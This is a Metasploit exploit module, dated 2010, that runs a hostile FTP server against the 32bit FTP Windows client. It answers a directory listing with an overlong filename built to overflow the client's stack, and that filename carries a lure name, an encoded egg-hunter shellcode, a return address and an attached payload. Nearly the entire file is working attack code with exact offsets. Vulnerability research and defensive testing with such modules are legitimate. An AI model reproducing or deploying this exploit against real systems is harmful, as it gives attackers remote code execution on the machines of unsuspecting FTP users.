This Metasploit module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to download a file that has an overly long filename.
12a0acd3b85279ca0f783e238d8bda5078df822aab5d81ee1c2c190dce51d449
##
# $Id: 32bitftp_list_reply.rb 10658 2010-10-12 17:31:18Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => '32bit FTP Client Stack Buffer Overflow ',
'Description' => %q{
This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to
download a file that has an overly long filename.
},
'Author' =>
[
'fancy', # found the bug
'corelanc0d3r' # helped writing this module
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 10658 $",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED } ], #RETN 32bitftp.exe
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
def on_client_command_list(c,arg)
code = 150
c.put("#{code} OK.\r\n")
code = 226
c.put("#{code} Directory ok.\r\n")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
filename = "\x02" #prevent crash
filename << "secret admin passwords.txt" #se = \x73\x65 = jump forward, over filename, to hunter
filename << " " * 77
#custom encoded egg hunter
filename << "\x89\xe2\xda\xd6\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
filename << "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
filename << "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
filename << "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
filename << "\x45\x36\x4b\x31\x4a\x6a\x49\x6f\x44\x4f\x42\x62\x50\x52\x43"
filename << "\x5a\x45\x52\x46\x38\x48\x4d\x44\x6e\x45\x6c\x45\x55\x43\x6a"
filename << "\x50\x74\x4a\x4f\x4d\x68\x43\x47\x44\x70\x46\x50\x43\x44\x4e"
filename << "\x6b\x4b\x4a\x4c\x6f\x43\x45\x49\x7a\x4c\x6f\x44\x35\x4a\x47"
filename << "\x4b\x4f\x4d\x37\x41\x41"
filename << " " * (target['Offset']-filename.length)
addr1 = "\x40\x60\x3A\x76" # RW imm32.dll
addr2 = "\x44\x54\x48\x00" # data section 32bitftp.exe
addr3 = [target.ret].pack('V') # b00m !
strfile = filename
strfile << addr3
strfile << addr2
strfile << addr1
strfile << "w00tw00t"
strfile << payload.encoded
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 #{strfile}.bin\r\n\r\n"
conn.put(dirlist)
conn.close
print_status(" - LIST sent, wait for user to double click file...")
return
end
end